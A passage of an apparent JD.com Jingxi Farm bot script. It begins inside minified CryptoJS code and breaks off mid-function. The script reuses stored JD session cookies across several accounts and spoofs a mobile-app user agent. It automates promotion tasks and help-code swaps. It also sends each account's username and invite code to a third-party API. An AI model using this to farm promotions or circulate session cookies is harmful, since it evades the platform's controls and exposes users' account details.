(h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); - -$.maxHelpNum = $.isNode() ? 8 : 4; // 随机助力最大执行次数 -$.helpNum = 0; // 当前账号 随机助力次数 -let assistUserShareCode = 0; // 随机助力用户 share code - -!(async () => { - await requireConfig(); - if (!cookieArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; - await requestAlgo(); - for (let i = 0; i < cookieArr.length; i++) { - if (cookieArr[i]) { - currentCookie = cookieArr[i]; - $.UserName = decodeURIComponent(currentCookie.match(/pt_pin=([^; ]+)(?=;?)/) && currentCookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.log(`\n************* 检查【京东账号${$.index}】${$.UserName} cookie 是否有效 *************`); - await TotalBean(); - $.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString()};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` - if (currentCookie.includes("pt_pin")) await getJxToken() - subTitle = ''; - message = ''; - option = {}; - $.answer = 3; - $.helpNum = 0; - notifyBool = notifyLevel > 0; // 初始化是否推送 - // await tokenFormat(); // 处理当前账号 token - await shareCodesFormat(); // 处理当前账号 助力码 - await jdJXNC(); // 执行当前账号 主代码流程 - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - console.log(e); - }) - .finally(() => { - $.done(); - }) - -// 检查互助码格式是否为 json -// 成功返回 json 对象,失败返回 '' -function changeShareCodeJson(code) { - try { - let json = code && JSON.parse(code); - return json['smp'] && json['active'] && json['joinnum'] ? json : ''; - } catch (e) { - return ''; - } -} - -// 加载配置 cookie token shareCode -function requireConfig() { - return new Promise(async resolve => { - $.log('开始获取配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - // const jdTokenNode = $.isNode() ? require('./jdJxncTokens.js') : ''; - const jdJxncShareCodeNode = $.isNode() ? require('./jdJxncShareCodes.js') : {}; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookieArr.push(jdCookieNode[item]); - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookieArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - - $.log(`共${cookieArr.length}个京东账号\n`); - - // if ($.isNode()) { - // Object.keys(jdTokenNode).forEach((item) => { - // tokenArr.push(jdTokenNode[item] ? JSON.parse(jdTokenNode[item]) : tokenNull) - // }) - // } else { - // let tmpTokens = JSON.parse($.getdata('jx_tokens') || '[]'); - // tokenArr.push(...tmpTokens) - // } - - if ($.isNode()) { - Object.keys(jdJxncShareCodeNode).forEach((item) => { - if (jdJxncShareCodeNode[item]) { - jxncShareCodeArr.push(jdJxncShareCodeNode[item]) - } else { - jxncShareCodeArr.push(''); - } - }) - } - - // 检查互助码是否为 json [smp,active,joinnum] 格式,否则进行通知 - for (let i = 0; i < jxncShareCodeArr.length; i++) { - if (jxncShareCodeArr[i]) { - let tmpJxncShareStr = jxncShareCodeArr[i]; - let tmpjsonShareCodeArr = tmpJxncShareStr.split('@'); - if (!changeShareCodeJson(tmpjsonShareCodeArr[0])) { - $.log('互助码格式已变更,请重新填写互助码'); - $.msg($.name, '互助码格式变更通知', '互助码格式变更,请重新填写 ‼️‼️', option); - if ($.isNode()) { - await notify.sendNotify(`${$.name}`, `互助码格式变更,请重新填写 ‼️‼️`); - } - } - break; - } - } - - // console.log(`jdFruitShareArr::${JSON.stringify(jxncShareCodeArr)}`) - // console.log(`jdFruitShareArr账号长度::${jxncShareCodeArr.length}`) - $.log(`您提供了${jxncShareCodeArr.length}个账号的京喜农场助力码`); - - try { - let options = { - "url": `https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxnc.txt`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36" - }, - "timeout": 10000, - } - $.get(options, (err, resp, data) => { // 初始化内置变量 - if (!err) { - shareCode = data; - } - }); - } catch (e) { - // 获取内置助力码失败 - } - resolve() - }) -} - -// 查询京东账户信息(检查 cookie 是否有效) -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: currentCookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -// 处理当前账号token -function tokenFormat() { - return new Promise(async resolve => { - if (tokenArr[$.index - 1] && tokenArr[$.index - 1].farm_jstoken) { - currentToken = tokenArr[$.index - 1]; - } else { - currentToken = tokenNull; - } - resolve(); - }) -} - -// 处理当前账号助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${jdFruitShareArr[$.index - 1]}`) - if (jxncShareCodeArr[$.index - 1]) { - currentShareCode = jxncShareCodeArr[$.index - 1].split('@'); - currentShareCode.push(...(shareCode.split('@'))); - } else { - $.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码`) - currentShareCode = shareCode.split('@'); - } - $.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(currentShareCode)}`) - resolve(); - }) -} - -async function jdJXNC() { - subTitle = `【京东账号${$.index}】${$.nickName}`; - $.log(`获取用户信息 & 任务列表`); - const startInfo = await getTaskList(); - if (startInfo) { - message += `【水果名称】${startInfo.prizename}\n`; - if (startInfo.target <= startInfo.score) { // 水滴已满 - if (startInfo.activestatus === 2) { // 成熟未收取 - notifyBool = true; - $.log(`【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`); - message += `【成熟】水果已成熟请及时收取,activestatus:${startInfo.activestatus}\n`; - } else if (startInfo.activestatus === 0) { // 未种植(成熟已收取) - $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); - message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; - notifyBool = notifyBool && notifyLevel >= 3; - } - } else { - let shareCodeJson = { - "smp": $.info.smp, - "active": $.info.active, - "joinnum": $.info.joinnum, - }; - $.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】` + JSON.stringify(shareCodeJson)); - await $.wait(500); - const isOk = await browserTask(); - if (isOk) { - await $.wait(500); - await answerTask(); - await $.wait(500); - const endInfo = await getTaskList(); - getMessage(endInfo, startInfo); - await submitInviteId($.UserName); - await $.wait(500); - let next = await helpFriends(); - if (next) { - while ($.helpNum < $.maxHelpNum) { - $.helpNum++; - assistUserShareCodeJson = await getAssistUser(); - if (assistUserShareCodeJson) { - await $.wait(500); - next = await helpShareCode(assistUserShareCodeJson['smp'], assistUserShareCodeJson['active'], assistUserShareCodeJson['joinnum']); - if (next) { - await $.wait(1000); - continue; - } - } - break; - } - } - } - } - } - await showMsg() -} - -// 获取任务列表与用户信息 -function getTaskList() { - return new Promise(async resolve => { - $.get(taskUrl('query', `type=1`), async (err, resp, data) => { - try { - let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); - if (res) { - res = res[1]; - const {detail, msg, task = [], retmsg, ...other} = JSON.parse(res); - $.detail = detail; - $.helpTask = task.filter(x => x.tasktype === 2)[0] || {eachtimeget: 0, limit: 0}; - $.allTask = task.filter(x => x.tasktype !== 3 && x.tasktype !== 2 && parseInt(x.left) > 0); - $.info = other; - $.log(`获取任务列表 ${retmsg} 总共${$.allTask.length}个任务!`); - if (!$.info.active) { - $.log('账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。'); - message += '账号未选择种子,请先去京喜农场选择种子。\n如果选择 APP 专属种子,必须提供 token。\n'; - notifyBool = notifyBool && notifyLevel >= 3; - resolve(false); - } - resolve(other); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(true); - } - }); - }); -} - -function browserTask() { - return new Promise(async resolve => { - const tasks = $.allTask.filter(x => x.tasklevel !== 6); - const times = Math.max(...[...tasks].map(x => x.limit)); - for (let i = 0; i < tasks.length; i++) { - const task = tasks[i]; - $.log(`开始第${i + 1}个任务:${task.taskname}`); - const status = [0]; - for (let i = 0; i < times; i++) { - const random = Math.random() * 3; - await $.wait(random * 1000); - if (status[0] === 0) { - status[0] = await doTask(task); - } - if (status[0] !== 0) { - break; - } - } - if (status[0] === 1017) { // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过所有任务 - $.log('水滴已满,果实成熟,跳过所有任务'); - resolve(true); - break; - } - if (status[0] === 1032) { - $.log('任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子'); - message += '任务执行失败,种植的 APP 专属种子,请提供 token 或种植非 APP 种子\n'; - notifyBool = notifyBool && notifyLevel >= 2; - resolve(false); - return; - } - - $.log(`结束第${i + 1}个任务:${task.taskname}`); - } - resolve(true); - }); -} - -function answerTask() { - const _answerTask = $.allTask.filter(x => x.tasklevel === 6); - if (!_answerTask || !_answerTask[0]) return; - const {tasklevel, left, taskname, eachtimeget} = _answerTask[0]; - $.log(`准备做答题任务:${taskname}`); - return new Promise(async resolve => { - if (parseInt(left) <= 0) { - resolve(false); - $.log(`${taskname}[做任务]: 任务已完成,跳过`); - return; - } - $.get( - taskUrl( - 'dotask', - `active=${$.info.active}&answer=${$.info.indexday}:${['A', 'B', 'C', 'D'][$.answer]}:0&joinnum=${ - $.info.joinnum - }&tasklevel=${tasklevel}&_stk=${encodeURIComponent("active,answer,ch,farm_jstoken,joinnum,phoneid,tasklevel,timestamp")}`, - ), - async (err, resp, data) => { - try { - let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); - if (res) { - res = res[1] - let {ret, retmsg, right} = JSON.parse(res); - retmsg = retmsg !== '' ? retmsg : '成功'; - $.log(`${taskname}[做任务]:ret:${ret} retmsg:"${retmsg.indexOf('活动太火爆了') !== -1 ? '任务进行中或者未到任务时间' : retmsg}"`); - if (ret === 0 && right === 1) { - $.drip += eachtimeget; - } - // ret:1017 retmsg:"score full" 水滴已满,果实成熟,跳过答题 - // ret:1012 retmsg:"has complte" 已完成,跳过答题 - if (ret === 1017 || ret === 1012) { - resolve(); - return; - } - if (((ret !== 0 && ret !== 1029) || retmsg === 'ans err') && $.answer > 0) { - $.answer--; - await $.wait(1000); - await answerTask(); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }, - ); - }); -} - -function getMessage(endInfo, startInfo) { - const need = endInfo.target - endInfo.score; - const get = endInfo.modifyscore; // 本次变更获得水滴 - const leaveGet = startInfo.modifyscore; // 离开时获得水滴 - let dayGet = 0; // 今日共获取水滴数 - if ($.detail) { - let dayTime = new Date(new Date().toLocaleDateString()).getTime() / 1000; // 今日 0 点时间戳(10位数) - $.detail.forEach(function (item, index) { - if (item.time >= dayTime && item.score) { - dayGet += item.score; - } - }); - } - message += `【水滴】本次获得${get} 离线获得${leaveGet} 今日获得${dayGet} 还需水滴${need}\n`; - if (need <= 0) { - notifyBool = true; - message += `【成熟】水果已成熟请及时收取,deliverState:${endInfo.deliverState}\n`; - return; - } - if (get > 0 || leaveGet > 0 || dayGet > 0) { - const day = Math.ceil(need / (dayGet > 0 ? dayGet : (get + leaveGet))); - message += `【预测】还需 ${day} 天\n`; - } - if (get > 0 || leaveGet > 0) { // 本次 或 离线 有水滴 - notifyBool = notifyBool && notifyLevel >= 1; - } else { - notifyBool = notifyBool && notifyLevel >= 2; - } -} - -// 提交助力码 -function submitInviteId(userName) { - return new Promise(resolve => { - if (!$.info || !$.info.smp) { - resolve(); - return; - } - try { - $.post( - { - url: `https://api.ninesix.cc/api/jx-nc/${$.info.smp}/${encodeURIComponent(userName)}?active=${$.info.active}&joinnum=${$.info.joinnum}`, - timeout: 10000 - }, - (err, resp, _data) => { - try { - const {code, data = {}} = JSON.parse(_data); - $.log(`邀请码提交:${code}`); - if (data.value) { - message += '【邀请码】提交成功!\n'; - } - } catch (e) { - // $.logErr(e, resp); - $.log('邀请码提交失败 API 返回异常'); - } finally { - resolve(); - } - }, - ); - } catch (e) { - // $.logErr(e, resp); - resolve(); - } - }); -} - -function getAssistUser() { - return new Promise(resolve => { - try { - $.get({ - url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`, - timeout: 10000 - }, async (err, resp, _data) => { - try { - const {code, data: {value, extra = {}} = {}} = JSON.parse(_data); - if (value && extra.active) { // && extra.joinnum 截止 2021-01-22 16:39:09 API 线上还未部署新的 joinnum 参数代码,暂时默认 1 兼容 - let shareCodeJson = { - 'smp': value, - 'active': extra.active, - 'joinnum': extra.joinnum || 1 - }; - $.log(`获取随机助力码成功 ` + JSON.stringify(shareCodeJson)); - resolve(shareCodeJson); - return; - } else { - $.log(`获取随机助力码失败 ${code}`); - } - } catch (e) { - // $.logErr(e, resp); - $.log('获取随机助力码失败 API 返回异常'); - } finally { - resolve(false); - } - }); - } catch (e) { - // $.logErr(e, resp); - resolve(false); - } - }); -} - -// 为好友助力 return true 继续助力 false 助力结束 -async function helpFriends() { - let tmpShareCodeJson = {}; - for (let code of currentShareCode) { - if (!code) { - continue - } - tmpShareCodeJson = changeShareCodeJson(code); - if (!tmpShareCodeJson) { //非 json 格式跳过 - console.log('助力码非 json 格式,跳过') - continue; - } - const next = await helpShareCode(tmpShareCodeJson['smp'], tmpShareCodeJson['active'], tmpShareCodeJson['joinnum']); - if (!next) { - return false; - } - await $.wait(1000); - } - return true; -} - -// 执行助力 return true 继续助力 false 助力结束 -function helpShareCode(smp, active, joinnum) { - return new Promise(async resolve => { - if (smp === $.info.smp) { // 自己的助力码,跳过,继续执行 - $.log('助力码与当前账号相同,跳过助力。准备进行下一个助力'); - resolve(true); - } - $.log(`即将助力 share {"smp":"${smp}","active":"${active}","joinnum":"${joinnum}"}`); - $.get( - taskUrl('help', `active=${active}&joinnum=${joinnum}&smp=${smp}`), - async (err, resp, data) => { - try { - let res = data.match(/try\{whyour\(([\s\S]*)\)\;\}catch\(e\)\{\}/); - if (res) { - res = res[1]; - const {ret, retmsg = ''} = JSON.parse(res); - $.log(`助力结果:ret=${ret} retmsg="${retmsg ? retmsg : 'OK'}"`); - // ret=0 助力成功 - // ret=1011 active 不同 - // ret=1012 has complete 已完成 - // ret=1013 retmsg="has expired" 已过期 - // ret=1009 retmsg="today has help p2p" 今天已助力过 - // ret=1021 cannot help self 不能助力自己 - // ret=1032 retmsg="err operate env" 被助力者为 APP 专属种子,当前助力账号未配置 TOKEN - // if (ret === 0 || ret === 1009 || ret === 1011 || ret === 1012 || ret === 1021 || ret === 1032) { - // resolve(true); - // return; - // } - // ret 1016 当前账号达到助力上限 - // ret 147 filter 当前账号黑号了 - if (ret === 147 || ret === 1016) { - if (ret === 147) { - $.log(`\n\n !!!!!!!! 当前账号黑号了 !!!!!!!! \n\n`); - } - resolve(false); - return; - } - resolve(true); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(false); - } - }, - ); - }); -} - - -function doTask({tasklevel, left, taskname, eachtimeget}) 